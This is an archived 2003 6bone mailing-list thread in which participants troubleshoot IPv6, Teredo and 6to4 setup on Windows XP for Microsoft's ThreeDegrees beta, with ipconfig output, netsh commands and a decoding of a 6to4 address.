Ok, I did that, and get a 242ms round trip average from
ipv6.research.microsoft.com.
I also get the brief message from the IPv6 only website, so that one works.
I have tried others without luck.

|
| Also when one installs the ThreeDegrees software, and thus the P2P SDK
| you get a newer IPv6 stack which supports Teredo.
|
| IMHO (<-- watch those four letters ;) a configured tunnels is better.
| Especially while debugging and based on latency times. So you would
| prolly
| be better off getting a tunnel.

I thought I had a tunnel? Using TILAB's client software I have an address
registrered until 2008.

Then again checking your IPv4 address
| you are located in Australia, thus, mail progsoc@<lemme think>,
| check their whois:
| http://www.cs-ipv6.lancs.ac.uk/ipv6/6Bone/Whois/PROGSOC.html

I can not ping6  their (PROGSOC) website :0(.
So they get their access from TRUMPET.
I have emailed Peter Tattum several times (over time) with no reply. (I know
he's a busy man, in which case the alternative email addys provided on the
site should have someone available for a reply also!)

|
| BTW, checking:
|  http://www.sixxs.net/tools/grh/lg/?prefix=2002::/16&matchtype=more
| I see quite a lot of more specifics for the 6to4 space. Though private
| peerings are allowed there ofcourse, they should never pop up in the
| dfz.

Oh well, another site I can't get on :0(.
I wonder if I have some kind of DNS resolver error? Will check it out.

Speaking of which , is there a native IPv6 DNS root server yet?

|
| Greets,
|  Jeroen
|
|
| _______________________________________________
| 6bone mailing list
| 6bone@mailman.isi.edu
| http://mailman.isi.edu/mailman/listinfo/6bone
|


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From jeroen@unfix.org Mon Mar 10 07:13:01 2003
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To: "'Dan Reeder'" <dan@reeder.name>,
   "'Chris Mitchell'" <cmitch@windows.microsoft.com>, <6bone@ISI.EDU>
Subject: RE: [6bone] Microsoft has released IPv6-only application for Beta
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Dan Reeder wrote:

> Is it possible to get Teredo working on a machine that 
> already has a globally routable v6 address? I ask because 
> from what I can determine from the limited help available 
> that the ThreeDegrees program requires the use of the Teredo 
> pseudo interface and a 2002:: address.

Nopes, it requires IPv6, and Teredo is just a helper.
I just did a 'netsh interface ipv6 delete interface "Teredo"'
or do it by number et voila... it works ;)
(Would be a really odd and stupid requirement if it didn't)

> I've got a 2001:: address from hurricane... and while my xp 
> box here is behind a v4 nat router, the v6 connectivity is 
> via a linux box on the lan which in turn has a public v4 
> address (thus not behind the nat router)... hope that makes 
> sense. Here's my ipconfig /all for you anyway.

> Tunnel adapter Teredo Tunneling Pseudo-Interface:
>  
>         Connection-specific DNS Suffix  . :
>         Description . . . . . . . . . . . : Teredo Tunneling 
> Pseudo-Interface
>         Physical Address. . . . . . . . . : 80-00-D8-91-35-D2-95-87
>         Dhcp Enabled. . . . . . . . . . . : No
>         IP Address. . . . . . . . . . . . : fe80::5445:5245:444f%5
>         Default Gateway . . . . . . . . . :
>         NetBIOS over Tcpip. . . . . . . . : Disabled

Delete this one and you are off.

Address selection algo's simply pick the 'closest' interface.

Note that one can also explictely disable teredo using:
'netsh interface ipv6 set teredo disable'

And netsh does a lot more, imho 'netsh makes your windows look like a
cisco' ;)
Note that Teredo IP <-> Teredo IP could be faster than routing it over
the
IPv6 backbones.

Greets,
 Jeroen


From jeroen@unfix.org Mon Mar 10 07:30:14 2003
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From: "Jeroen Massar" <jeroen@unfix.org>
To: "'Gav'" <old_mc_donald@hotmail.com>
Cc: <6bone@ISI.EDU>
Subject: RE: [6bone] Microsoft has released IPv6-only application for Beta
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Gav [mailto:old_mc_donald@hotmail.com] wrote:
> Hi Joroen,

it's J_e_roen mind you ;)
French people tend to write Jerome <grin>

<SNIP>

> | > Ethernet adapter Network Bridge (Network Bridge):
> | >
> | >         Connection-specific DNS Suffix  . :
> | >         Description . . . . . . . . . . . : MAC Bridge Miniport
> | >         Physical Address. . . . . . . . . : 02-40-D0-2A-AF-71
> | >         Dhcp Enabled. . . . . . . . . . . : No
> | >         IP Address. . . . . . . . . . . . : 192.168.0.1
> | >         Subnet Mask . . . . . . . . . . . : 255.255.255.0
> | >         IP Address. . . . . . . . . . . . :
> | 2002:c0a8:1:5:90f1:5098:252d:3eb7
> | >         IP Address. . . . . . . . . . . . :
> | 2002:c0a8:1:5:cc71:215c:3c83:6492
> | >         IP Address. . . . . . . . . . . . :
> | 2002:c0a8:1:5:480d:c580:2cc9:863e
> | >         IP Address. . . . . . . . . . . . :
> | 2002:c0a8:1:5:bd90:af8b:f235:a243
> | >         IP Address. . . . . . . . . . . . :
> | 2002:c0a8:1:5:5d0c:da6b:bacc:69f7
> | >         IP Address. . . . . . . . . . . . :
> | 2002:c0a8:1:5:40:d0ff:fe2a:af71
> |
> | A private network with 6to4 addresses in RFC1918 space, these won't
ever
> | work.
> 
> I can not find anything on RFC 1918 on the IETF site?
> However to me it does look like I'm trying to tunnel 6 
> through 4 on my own LAN?
> I did not configure this however, either M$ autoconfig did 
> this or it was TILAB's tunnel software. I can not work out which.

MS Autoconfig knows about RFC1918 (private address space, see:
eg http://1918.rfc.wiretrip.org or type rfc1918 in google) and
thus should not use that space for 6to4 tunnels. Also note that
you are quite probably running ICS on your machine, at least
that is what the "Network Bridge (Network Bridge)" could indicate.
But indeed it's your own LAN and not the public Inet.

> |
> | > Tunnel adapter 6to4 Tunneling Pseudo-Interface:
> | >
> | >         Connection-specific DNS Suffix  . :
> | >         Description . . . . . . . . . . . : 6to4 Tunneling
> | > Pseudo-Interface
> | >         Physical Address. . . . . . . . . : 90-89-FC-85
> | >         Dhcp Enabled. . . . . . . . . . . : No
> | >         IP Address. . . . . . . . . . . . : 
> 2002:9089:fc85::9089:fc85
> |
> | This _could_ work, it does use your public IPv4 of your 
> PPPoE adapter.
> 
> How did you work this out. I thought part of the address was 
> obtained from the MAC layer?

2002:9089:fc85::9089:fc85
^    ^^^^^^^^^
|        +---------------- Your public IPv4 address (*1)
+------------------------- 2002::/16 == 6to4 space

*1 = 0x90 = 144
     0x89 = 137
     0xfc = 252
     0x85 = 133 ----> 144.137.252.133

OrgName:    Telstra
NetRange:   144.137.0.0 - 144.137.255.255
CIDR:       144.137.0.0/16
NetName:    TELECOMAU7

On the internet nobody is anonymous, or some other movie quote ;)

> | Based on the fact which outgoing interface your host picks it should
> | work.
> | Try some tracerouting and stuff, pings and the like and find out ;)
> 
> Ok, I did that, and get a 242ms round trip average from
> ipv6.research.microsoft.com.
> I also get the brief message from the IPv6 only website, so 
> that one works. I have tried others without luck.

Show traceroutes. Also when using a 6to4 relay in the US when
you are down under you should not expect good latencies.

> | Also when one installs the ThreeDegrees software, and thus 
> > the P2P SDK
> | you get a newer IPv6 stack which supports Teredo.
> |
> | IMHO (<-- watch those four letters ;) a configured tunnels 
> is better.
> | Especially while debugging and based on latency times. So you would
> | prolly be better off getting a tunnel.
> 
> I thought I had a tunnel? Using TILAB's client software I 
> have an address registrered until 2008.

That's not visible in your config output.

> Then again checking your IPv4 address
> | you are located in Australia, thus, mail progsoc@<lemme think>,
> | check their whois:
> | http://www.cs-ipv6.lancs.ac.uk/ipv6/6Bone/Whois/PROGSOC.html
> 
> I can not ping6  their (PROGSOC) website :0(.
> So they get their access from TRUMPET.
> I have emailed Peter Tattum several times (over time) with no 
> reply. (I know he's a busy man, in which case the alternative email
addys 
> provided on the site should have someone available for a reply also!)

I think that the australian people should lobby at the current TLA
holders for a good working 6to4 or a TB. Call them up if needed
and put some pressure on them.

> | BTW, checking:
> |  http://www.sixxs.net/tools/grh/lg/?prefix=2002::/16&matchtype=more
> | I see quite a lot of more specifics for the 6to4 space. 
> Though private
> | peerings are allowed there ofcourse, they should never pop up in the
> | dfz.
> 
> Oh well, another site I can't get on :0(.
> I wonder if I have some kind of DNS resolver error? Will check it out.

http://www.sixxs.net is IPv4 and IPv6 reachable.
http://www.ipv4.sixxs.net is IPv4 only (as it got only a A address :)
http://www.ipv6.sixxs.net is IPv6 only (as it got only a AAAA address :)

> Speaking of which , is there a native IPv6 DNS root server yet?

Yes, there is a testbed. Bill Manning knows all about it ;)

And one can even get AAAA in the gtld servers when going thru some
registrars, Joker and Netsol can't currently though :(

Greets,
 Jeroen


From cmitch@windows.microsoft.com Mon Mar 10 09:16:38 2003
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Subject: RE: [6bone] Microsoft has released IPv6-only application for Beta
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From: "Chris Mitchell" <cmitch@windows.microsoft.com>
To: "Dan Reeder" <dan@reeder.name>, <6bone@ISI.EDU>, <nav6tf@ipv6forum.com>
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ThreeDegrees does not require a Teredo address.  You should be able to
use a native address without a Teredo address.

=20

If you can't get this working please feel free to contact me or use the
message boards on www.threedegrees.com <http://www.threedegrees.com/> .

=20

Thanks

=20

________________________________

From: Dan Reeder [mailto:dan@reeder.name]=20
Sent: Monday, March 10, 2003 1:08 AM
To: Chris Mitchell; 6bone@ISI.EDU; nav6tf@ipv6forum.com

=20

Is it possible to get Teredo working on a machine that already has a
globally routable v6 address? I ask because from what I can determine
from the limited help available that the ThreeDegrees program requires
the use of the Teredo pseudo interface and a 2002:: address.

I've got a 2001:: address from hurricane... and while my xp box here is
behind a v4 nat router, the v6 connectivity is via a linux box on the
lan which in turn has a public v4 address (thus not behind the nat
router)... hope that makes sense. Here's my ipconfig /all for you
anyway.

=20

thanks

dan

----------------------

Windows IP Configuration

=20

        Host Name . . . . . . . . . . . . : elf
        Primary Dns Suffix  . . . . . . . :
        Node Type . . . . . . . . . . . . : Unknown
        IP Routing Enabled. . . . . . . . : No
        WINS Proxy Enabled. . . . . . . . : No

=20

Ethernet adapter Local Area Connection 3:

=20

        Connection-specific DNS Suffix  . : netspace.net.au
        Description . . . . . . . . . . . : Macronix MX98715-Based
Ethernet Adapter (Generic) #2
        Physical Address. . . . . . . . . : 00-50-BF-13-A6-4B
        Dhcp Enabled. . . . . . . . . . . : Yes
        Autoconfiguration Enabled . . . . : Yes
        IP Address. . . . . . . . . . . . : 192.168.0.2
        Subnet Mask . . . . . . . . . . . : 255.255.255.0
        IP Address. . . . . . . . . . . . : 2001:470:1f00:510::2
        IP Address. . . . . . . . . . . . : fe80::250:bfff:fe13:a64b%4
        Default Gateway . . . . . . . . . : 192.168.0.1
        DHCP Server . . . . . . . . . . . : 192.168.0.1
        DNS Servers . . . . . . . . . . . : 202.161.117.211
                                            139.130.4.4
                                            fec0:0:0:ffff::1%1
                                            fec0:0:0:ffff::2%1
                                            fec0:0:0:ffff::3%1
        Lease Obtained. . . . . . . . . . : Monday, 10 March 2003
6:48:25 PM
        Lease Expires . . . . . . . . . . : Thursday, 13 March 2003
6:48:25 PM

=20

Tunnel adapter Teredo Tunneling Pseudo-Interface:

=20

        Connection-specific DNS Suffix  . :
        Description . . . . . . . . . . . : Teredo Tunneling
Pseudo-Interface
        Physical Address. . . . . . . . . : 80-00-D8-91-35-D2-95-87
        Dhcp Enabled. . . . . . . . . . . : No
        IP Address. . . . . . . . . . . . : fe80::5445:5245:444f%5
        Default Gateway . . . . . . . . . :
        NetBIOS over Tcpip. . . . . . . . : Disabled

=20

Tunnel adapter Automatic Tunneling Pseudo-Interface:

=20

        Connection-specific DNS Suffix  . : netspace.net.au
        Description . . . . . . . . . . . : Automatic Tunneling
Pseudo-Interface
        Physical Address. . . . . . . . . : C0-A8-00-02
        Dhcp Enabled. . . . . . . . . . . : No
        IP Address. . . . . . . . . . . . : fe80::5efe:192.168.0.2%2
        Default Gateway . . . . . . . . . :
        DNS Servers . . . . . . . . . . . : fec0:0:0:ffff::1%1
                                            fec0:0:0:ffff::2%1
                                            fec0:0:0:ffff::3%1
        NetBIOS over Tcpip. . . . . . . . : Disabled=20

	----- Original Message -----=20

	From: Dan Reeder <mailto:dan@reeder.name> =20

	To: Chris Mitchell <mailto:cmitch@windows.microsoft.com>  ;
6bone@ISI.EDU ; nav6tf@ipv6forum.com=20

	Sent: Monday, March 10, 2003 9:20 AM

	Subject: Re: [6bone] Microsoft has released IPv6-only
application for Beta

	=20

	Any ideas on how long it takes for them to permit you to join
the peer to peer update program?=20

	=20

	Dan

	=20

	----- Original Message -----=20

		From: Chris Mitchell
<mailto:cmitch@windows.microsoft.com> =20

		To: 6bone@ISI.EDU ; nav6tf@ipv6forum.com=20

		Sent: Friday, March 07, 2003 2:27 PM

		Subject: [6bone] Microsoft has released IPv6-only
application for Beta

		=20

		Hi, you may have seen one of the articles published last
week about a new beta release of an application called Threedegrees that
Microsoft released for the young "NetGen" market.  In case you didn't
hear about this or haven't had time to read about the application I
wanted to be sure you knew that it is an IPv6-only application.  It is
available for beta on www.threedegrees.com and I encourage you all to
check it out.

		=20

		You can also read more about the underlying peer to peer
and IPv6 technologies we are shipping with Threedegrees at:
http://www.microsoft.com/presspass/press/2003/feb03/02-26sdkannouncespr.
asp.

		=20

		If you have any questions or comments please let me
know.

		Thanks

		Chris Mitchell

		Microsoft - Windows Networking - IPv6

		=20


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<body bgcolor=3D"#D0D7DD" lang=3DEN-US link=3Dblue vlink=3D"#AA00AA">

<div class=3DSection1>

<p class=3DMsoNormal><font size=3D2 color=3Dnavy face=3DArial><span =
style=3D'font-size:
10.0pt;font-family:Arial;color:navy'>ThreeDegrees does not require a =
Teredo
address.&nbsp; You should be able to use a native address without a =
Teredo address.<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 color=3Dnavy face=3DArial><span =
style=3D'font-size:
10.0pt;font-family:Arial;color:navy'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 color=3Dnavy face=3DArial><span =
style=3D'font-size:
10.0pt;font-family:Arial;color:navy'>If you can&#8217;t get this working =
please
feel free to contact me or use the message boards on <a
href=3D"http://www.threedegrees.com/">www.threedegrees.com</a>.<o:p></o:p=
></span></font></p>

<p class=3DMsoNormal><font size=3D2 color=3Dnavy face=3DArial><span =
style=3D'font-size:
10.0pt;font-family:Arial;color:navy'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 color=3Dnavy face=3DArial><span =
style=3D'font-size:
10.0pt;font-family:Arial;color:navy'>Thanks<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 color=3Dnavy face=3DArial><span =
style=3D'font-size:
10.0pt;font-family:Arial;color:navy'><o:p>&nbsp;</o:p></span></font></p>

<div>

<div class=3DMsoNormal align=3Dcenter style=3D'text-align:center'><font =
size=3D3
face=3D"Times New Roman"><span style=3D'font-size:12.0pt'>

<hr size=3D2 width=3D"100%" align=3Dcenter tabindex=3D-1>

</span></font></div>

<p class=3DMsoNormal><b><font size=3D2 face=3DTahoma><span =
style=3D'font-size:10.0pt;
font-family:Tahoma;font-weight:bold'>From:</span></font></b><font =
size=3D2
face=3DTahoma><span style=3D'font-size:10.0pt;font-family:Tahoma'> Dan =
Reeder
[mailto:dan@reeder.name] <br>
<b><span style=3D'font-weight:bold'>Sent:</span></b> <st1:date =
Year=3D"10" Day=3D"10"
Month=3D"3" ls=3D"trans" w:st=3D"on">Monday, <st1:date Year=3D"10" =
Day=3D"10" Month=3D"3"
 ls=3D"trans" w:st=3D"on">March 10, 2003</st1:date></st1:date><st1:time =
Minute=3D"08"
Hour=3D"1" w:st=3D"on"> 1:08 AM</st1:time><br>
<b><span style=3D'font-weight:bold'>To:</span></b> Chris Mitchell; =
6bone@ISI.EDU;
nav6tf@ipv6forum.com</span></font><o:p></o:p></p>

</div>

<p class=3DMsoNormal><font size=3D3 face=3D"Times New Roman"><span =
style=3D'font-size:
12.0pt'><o:p>&nbsp;</o:p></span></font></p>

<div>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'>Is it possible to get Teredo working on a machine =
that
already has a globally routable v6 address? I ask because from what I =
can
determine from the limited help available that the ThreeDegrees program
requires the use of the Teredo pseudo interface and a 2002:: =
address.</span></font><o:p></o:p></p>

</div>

<div>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'>I've got a 2001:: address from hurricane... and while =
my xp
box here is behind a v4 nat router, the v6 connectivity is via a linux =
box on
the lan which in turn has a public v4 address (thus not behind the nat
router)... hope that makes sense. Here's my ipconfig /all for you =
anyway.</span></font><o:p></o:p></p>

</div>

<div>

<p class=3DMsoNormal><font size=3D3 face=3D"Times New Roman"><span =
style=3D'font-size:
12.0pt'>&nbsp;<o:p></o:p></span></font></p>

</div>

<div>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'>thanks</span></font><o:p></o:p></p>

</div>

<div>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'>dan</span></font><o:p></o:p></p>

</div>

<div>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'>----------------------</span></font><o:p></o:p></p>

</div>

<div>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'>Windows IP Configuration</span></font><o:p></o:p></p>

</div>

<div>

<p class=3DMsoNormal><font size=3D3 face=3D"Times New Roman"><span =
style=3D'font-size:
12.0pt'>&nbsp;<o:p></o:p></span></font></p>

</div>

<div>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Host Name =
. . . .
. . . . . . . . : elf<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Primary Dns Suffix&nbsp; . . =
. . . .
. :<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Node Type . . . . . . . . . . =
. . :
Unknown<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; IP Routing Enabled. . . . . . =
. . :
No<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; WINS Proxy Enabled. . . . . . =
. . :
No</span></font><o:p></o:p></p>

</div>

<div>

<p class=3DMsoNormal><font size=3D3 face=3D"Times New Roman"><span =
style=3D'font-size:
12.0pt'>&nbsp;<o:p></o:p></span></font></p>

</div>

<div>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'>Ethernet adapter Local Area Connection =
3:</span></font><o:p></o:p></p>

</div>

<div>

<p class=3DMsoNormal><font size=3D3 face=3D"Times New Roman"><span =
style=3D'font-size:
12.0pt'>&nbsp;<o:p></o:p></span></font></p>

</div>

<div>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
Connection-specific DNS Suffix&nbsp; . : netspace.net.au<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Description . . . . . . . . . =
. . :
Macronix MX98715-Based Ethernet Adapter (Generic) #2<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Physical Address. . . . . . . =
. . :
00-50-BF-13-A6-4B<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Dhcp Enabled. . . . . . . . . =
. . :
Yes<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Autoconfiguration Enabled . . =
. . :
Yes<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; IP Address. . . . . . . . . . =
. . :
192.168.0.2<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Subnet Mask . . . . . . . . . =
. . :
255.255.255.0<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; IP Address. . . . . . . . . . =
. . :
2001:470:1f00:510::2<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; IP Address. . . . . . . . . . =
. . :
fe80::250:bfff:fe13:a64b%4<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Default Gateway . . . . . . . =
. . :
192.168.0.1<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; DHCP Server . . . . . . . . . =
. . :
192.168.0.1<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; DNS Servers . . . . . . . . . =
. . :
202.161.117.211<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
139.130.4.4<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
fec0:0:0:ffff::1%1<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
fec0:0:0:ffff::2%1<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
fec0:0:0:ffff::3%1<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Lease Obtained. . . . . . . . =
. . :
Monday, 10 March 2003 6:48:25 PM<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Lease Expires . . . . . . . . =
. . :
Thursday, 13 March 2003 6:48:25 PM</span></font><o:p></o:p></p>

</div>

<div>

<p class=3DMsoNormal><font size=3D3 face=3D"Times New Roman"><span =
style=3D'font-size:
12.0pt'>&nbsp;<o:p></o:p></span></font></p>

</div>

<div>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'>Tunnel adapter Teredo Tunneling =
Pseudo-Interface:</span></font><o:p></o:p></p>

</div>

<div>

<p class=3DMsoNormal><font size=3D3 face=3D"Times New Roman"><span =
style=3D'font-size:
12.0pt'>&nbsp;<o:p></o:p></span></font></p>

</div>

<div>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
Connection-specific DNS Suffix&nbsp; . :<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Description . . . . . . . . . =
. . :
Teredo Tunneling Pseudo-Interface<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Physical Address. . . . . . . =
. . :
80-00-D8-91-35-D2-95-87<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Dhcp Enabled. . . . . . . . . =
. . :
No<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; IP Address. . . . . . . . . . =
. . :
fe80::5445:5245:444f%5<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Default Gateway . . . . . . . =
. . :<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; NetBIOS over Tcpip. . . . . . =
. . :
Disabled</span></font><o:p></o:p></p>

</div>

<div>

<p class=3DMsoNormal><font size=3D3 face=3D"Times New Roman"><span =
style=3D'font-size:
12.0pt'>&nbsp;<o:p></o:p></span></font></p>

</div>

<div>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'>Tunnel adapter Automatic Tunneling =
Pseudo-Interface:</span></font><o:p></o:p></p>

</div>

<div>

<p class=3DMsoNormal><font size=3D3 face=3D"Times New Roman"><span =
style=3D'font-size:
12.0pt'>&nbsp;<o:p></o:p></span></font></p>

</div>

<div>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
Connection-specific DNS Suffix&nbsp; . : netspace.net.au<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Description . . . . . . . . . =
. . :
Automatic Tunneling Pseudo-Interface<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Physical Address. . . . . . . =
. . :
C0-A8-00-02<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Dhcp Enabled. . . . . . . . . =
. . :
No<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; IP Address. . . . . . . . . . =
. . :
fe80::5efe:192.168.0.2%2<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Default Gateway . . . . . . . =
. . :<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; DNS Servers . . . . . . . . . =
. . :
fec0:0:0:ffff::1%1<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
fec0:0:0:ffff::2%1<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
fec0:0:0:ffff::3%1<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; NetBIOS over Tcpip. . . . . . =
. . :
Disabled</span></font>&nbsp;<o:p></o:p></p>

</div>

<blockquote style=3D'border:none;border-left:solid black =
1.5pt;padding:0in 0in 0in 4.0pt;
margin-left:3.75pt;margin-top:5.0pt;margin-right:0in;margin-bottom:5.0pt'=
>

<div>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'>----- Original Message ----- =
<o:p></o:p></span></font></p>

</div>

<div style=3D'font-color:black'>

<p class=3DMsoNormal style=3D'background:#E4E4E4'><b><font size=3D2 =
face=3DArial><span
style=3D'font-size:10.0pt;font-family:Arial;font-weight:bold'>From:</span=
></font></b><font
size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;font-family:Arial'> <a
href=3D"mailto:dan@reeder.name" title=3D"dan@reeder.name">Dan Reeder</a> =
<o:p></o:p></span></font></p>

</div>

<div>

<p class=3DMsoNormal><b><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial;font-weight:bold'>To:</span></font></b><font size=3D2
face=3DArial><span style=3D'font-size:10.0pt;font-family:Arial'> <a
href=3D"mailto:cmitch@windows.microsoft.com" =
title=3D"cmitch@windows.microsoft.com">Chris
Mitchell</a> ; <a href=3D"mailto:6bone@ISI.EDU" =
title=3D"6bone@ISI.EDU">6bone@ISI.EDU</a>
; <a href=3D"mailto:nav6tf@ipv6forum.com" =
title=3D"nav6tf@ipv6forum.com">nav6tf@ipv6forum.com</a>
<o:p></o:p></span></font></p>

</div>

<div>

<p class=3DMsoNormal><b><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial;font-weight:bold'>Sent:</span></font></b><font =
size=3D2
face=3DArial><span style=3D'font-size:10.0pt;font-family:Arial'> =
<st1:date Year=3D"10"
Day=3D"10" Month=3D"3" ls=3D"trans" w:st=3D"on">Monday, <st1:date =
Year=3D"10" Day=3D"10"
 Month=3D"3" ls=3D"trans" w:st=3D"on">March 10, =
2003</st1:date></st1:date><st1:time
Minute=3D"20" Hour=3D"9" w:st=3D"on"> 9:20 =
AM</st1:time><o:p></o:p></span></font></p>

</div>

<div>

<p class=3DMsoNormal><b><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
